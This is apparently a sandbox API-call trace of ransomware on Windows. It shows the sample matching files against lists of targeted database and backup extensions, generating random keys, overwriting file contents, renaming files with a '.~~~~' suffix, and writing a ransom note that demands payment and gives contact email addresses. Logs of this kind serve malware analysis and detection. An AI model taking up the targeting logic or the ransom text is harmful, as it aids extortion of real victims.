	[0076.633] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0076.633] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0076.633] CloseHandle (hObject=0x11c) returned 1
	[0076.634] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b41e8
	[0076.634] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml.~~~~")) returned 1
	[0076.635] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b41e8 | out: hHeap=0x300000) returned 1
	[0076.635] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0076.635] GetLastError () returned 0x0
	[0076.635] RtlWakeConditionVariable () returned 0x365f70
	[0076.635] GetCurrentThreadId () returned 0x3a4
	[0076.635] GetCurrentThreadId () returned 0x3a4
	[0076.635] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7450
	[0076.635] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa3b8 | out: hHeap=0x300000) returned 1
	[0076.635] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a36b8 | out: hHeap=0x300000) returned 1
	[0076.635] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa3b8
	[0076.635] lstrlenW (lpString=".scr") returned 4
	[0076.635] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".scr") returned 0x0
	[0076.635] lstrlenW (lpString=".cmd") returned 4
	[0076.635] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".cmd") returned 0x0
	[0076.635] lstrlenW (lpString=".dll") returned 4
	[0076.635] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dll") returned 0x0
	[0076.635] lstrlenW (lpString=".bat") returned 4
	[0076.635] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bat") returned 0x0
	[0076.636] lstrlenW (lpString=".cpl") returned 4
	[0076.636] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".cpl") returned 0x0
	[0076.636] lstrlenW (lpString=".sys") returned 4
	[0076.636] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sys") returned 0x0
	[0076.636] lstrlenW (lpString=".msc") returned 4
	[0076.636] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".msc") returned 0x0
	[0076.636] lstrlenW (lpString=".com") returned 4
	[0076.636] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".com") returned 0x0
	[0076.636] lstrlenW (lpString=".lnk") returned 4
	[0076.636] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".lnk") returned 0x0
	[0076.636] lstrlenW (lpString=".msp") returned 4
	[0076.636] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".msp") returned 0x0
	[0076.636] lstrlenW (lpString=".pif") returned 4
	[0076.636] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".pif") returned 0x0
	[0076.636] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0076.636] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0076.636] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0076.636] lstrlenW (lpString=".sqb") returned 4
	[0076.636] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sqb") returned 0x0
	[0076.636] lstrlenW (lpString=".ost") returned 4
	[0076.636] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ost") returned 0x0
	[0076.636] lstrlenW (lpString=".txt") returned 4
	[0076.637] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".txt") returned 0x0
	[0076.637] lstrlenW (lpString=".mdt") returned 4
	[0076.637] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".mdt") returned 0x0
	[0076.637] lstrlenW (lpString=".BDB") returned 4
	[0076.637] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".BDB") returned 0x0
	[0076.637] lstrlenW (lpString=".eql") returned 4
	[0076.637] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".eql") returned 0x0
	[0076.637] lstrlenW (lpString=".DBF") returned 4
	[0076.637] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBF") returned 0x0
	[0076.637] lstrlenW (lpString=".EQL") returned 4
	[0076.637] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".EQL") returned 0x0
	[0076.637] lstrlenW (lpString=".FDB") returned 4
	[0076.637] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".FDB") returned 0x0
	[0076.637] lstrlenW (lpString=".EDB") returned 4
	[0076.637] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".EDB") returned 0x0
	[0076.637] lstrlenW (lpString=".DACPAC") returned 7
	[0076.637] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DACPAC") returned 0x0
	[0076.637] lstrlenW (lpString=".VHD") returned 4
	[0076.637] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".VHD") returned 0x0
	[0076.637] lstrlenW (lpString=".DBV") returned 4
	[0076.637] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBV") returned 0x0
	[0076.637] lstrlenW (lpString=".dacpac") returned 7
	[0076.637] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dacpac") returned 0x0
	[0076.637] lstrlenW (lpString=".sdf") returned 4
	[0076.637] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sdf") returned 0x0
	[0076.637] lstrlenW (lpString=".accdb") returned 6
	[0076.637] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".accdb") returned 0x0
	[0076.637] lstrlenW (lpString=".DBX") returned 4
	[0076.637] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBX") returned 0x0
	[0076.637] lstrlenW (lpString=".MDT") returned 4
	[0076.637] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".MDT") returned 0x0
	[0076.637] lstrlenW (lpString=".SQB") returned 4
	[0076.638] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".SQB") returned 0x0
	[0076.638] lstrlenW (lpString=".vhd") returned 4
	[0076.638] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".vhd") returned 0x0
	[0076.638] lstrlenW (lpString=".bac") returned 4
	[0076.638] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bac") returned 0x0
	[0076.638] lstrlenW (lpString=".mdf") returned 4
	[0076.638] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".mdf") returned 0x0
	[0076.638] lstrlenW (lpString=".BAK") returned 4
	[0076.638] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".BAK") returned 0x0
	[0076.638] lstrlenW (lpString=".BAC") returned 4
	[0076.638] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".BAC") returned 0x0
	[0076.638] lstrlenW (lpString=".dbs") returned 4
	[0076.638] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbs") returned 0x0
	[0076.638] lstrlenW (lpString=".vhdx") returned 5
	[0076.638] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".vhdx") returned 0x0
	[0076.638] lstrlenW (lpString=".NDF") returned 4
	[0076.638] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".NDF") returned 0x0
	[0076.638] lstrlenW (lpString=".dat") returned 4
	[0076.638] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dat") returned 0x0
	[0076.638] lstrlenW (lpString=".DBS") returned 4
	[0076.638] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBS") returned 0x0
	[0076.638] lstrlenW (lpString=".CKP") returned 4
	[0076.638] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".CKP") returned 0x0
	[0076.638] lstrlenW (lpString=".edb") returned 4
	[0076.638] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".edb") returned 0x0
	[0076.638] lstrlenW (lpString=".PST") returned 4
	[0076.638] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".PST") returned 0x0
	[0076.639] lstrlenW (lpString=".dbf") returned 4
	[0076.639] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbf") returned 0x0
	[0076.639] lstrlenW (lpString=".SQL") returned 4
	[0076.639] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".SQL") returned 0x0
	[0076.639] lstrlenW (lpString=".pst") returned 4
	[0076.639] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".pst") returned 0x0
	[0076.639] lstrlenW (lpString=".dbv") returned 4
	[0076.639] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbv") returned 0x0
	[0076.639] lstrlenW (lpString=".SDF") returned 4
	[0076.639] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".SDF") returned 0x0
	[0076.639] lstrlenW (lpString=".dtxs") returned 5
	[0076.639] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dtxs") returned 0x0
	[0076.639] lstrlenW (lpString=".db3") returned 4
	[0076.639] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".db3") returned 0x0
	[0076.639] lstrlenW (lpString=".OST") returned 4
	[0076.639] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".OST") returned 0x0
	[0076.639] lstrlenW (lpString=".dbx") returned 4
	[0076.639] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbx") returned 0x0
	[0076.639] lstrlenW (lpString=".DB3") returned 4
	[0076.639] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DB3") returned 0x0
	[0076.639] lstrlenW (lpString=".DAT") returned 4
	[0076.639] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DAT") returned 0x0
	[0076.639] lstrlenW (lpString=".VHDX") returned 5
	[0076.639] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".VHDX") returned 0x0
	[0076.639] lstrlenW (lpString=".ndf") returned 4
	[0076.640] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ndf") returned 0x0
	[0076.640] lstrlenW (lpString=".DB") returned 3
	[0076.640] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DB") returned 0x0
	[0076.640] lstrlenW (lpString=".sql") returned 4
	[0076.640] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sql") returned 0x0
	[0076.640] lstrlenW (lpString=".MYD") returned 4
	[0076.640] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".MYD") returned 0x0
	[0076.640] lstrlenW (lpString=".DBT") returned 4
	[0076.640] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBT") returned 0x0
	[0076.640] lstrlenW (lpString=".ACCDB") returned 6
	[0076.640] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ACCDB") returned 0x0
	[0076.640] lstrlenW (lpString=".fdb") returned 4
	[0076.640] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".fdb") returned 0x0
	[0076.640] lstrlenW (lpString=".bak") returned 4
	[0076.640] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bak") returned 0x0
	[0076.640] lstrlenW (lpString=".myd") returned 4
	[0076.640] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".myd") returned 0x0
	[0076.640] lstrlenW (lpString=".DTXS") returned 5
	[0076.640] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DTXS") returned 0x0
	[0076.640] lstrlenW (lpString=".ckp") returned 4
	[0076.640] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ckp") returned 0x0
	[0076.640] lstrlenW (lpString=".dbt") returned 4
	[0076.640] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbt") returned 0x0
	[0076.640] lstrlenW (lpString=".db") returned 3
	[0076.640] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".db") returned 0x0
	[0076.641] lstrlenW (lpString=".TXT") returned 4
	[0076.641] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".TXT") returned 0x0
	[0076.641] lstrlenW (lpString=".MDF") returned 4
	[0076.641] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".MDF") returned 0x0
	[0076.641] lstrlenW (lpString=".bdb") returned 4
	[0076.641] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bdb") returned 0x0
	[0076.641] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0076.641] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0076.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x3a3178
	[0076.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0076.641] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0076.642] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0076.642] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0076.642] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0076.642] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0076.642] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x27f2050
	[0076.642] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=19663225247) returned 1
	[0076.642] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9794c730, dwHighDateTime=0x1d60e1e)) 
	[0076.642] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0076.642] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0076.642] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0076.642] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a36b8
	[0076.642] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0076.642] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a36b8 | out: hHeap=0x300000) returned 1
	[0076.642] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0076.642] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0076.642] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aa268
	[0076.643] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0076.643] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.643] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa268 | out: hHeap=0x300000) returned 1
	[0076.643] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0076.643] GetLastError () returned 0x0
	[0076.643] GetLastError () returned 0x0
	[0076.643] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0076.643] GetLastError () returned 0x0
	[0076.643] GetLastError () returned 0x0
	[0076.643] ReadFile (in: hFile=0x11c, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x24dfec0*=0xa40, lpOverlapped=0x0) returned 1
	[0076.647] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff5c0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0076.647] WriteFile (in: hFile=0x11c, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0xa40, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x24dfec0*=0xa40, lpOverlapped=0x0) returned 1
	[0076.647] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0076.647] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.648] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0076.648] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0076.648] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0076.648] CloseHandle (hObject=0x11c) returned 1
	[0076.648] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a49a0
	[0076.648] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml.~~~~")) returned 1
	[0076.649] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a49a0 | out: hHeap=0x300000) returned 1
	[0076.649] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0076.649] GetLastError () returned 0x0
	[0076.649] RtlWakeConditionVariable () returned 0x365f70
	[0076.649] GetCurrentThreadId () returned 0x3a4
	[0076.649] GetCurrentThreadId () returned 0x3a4
	[0076.649] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7450
	[0076.649] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa460 | out: hHeap=0x300000) returned 1
	[0076.649] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a36f0 | out: hHeap=0x300000) returned 1
	[0076.649] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa460
	[0076.649] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Read~ME.txt" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0076.650] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0076.650] WriteFile (in: hFile=0x11c, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0076.651] CloseHandle (hObject=0x11c) returned 1
	[0076.651] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa460 | out: hHeap=0x300000) returned 1
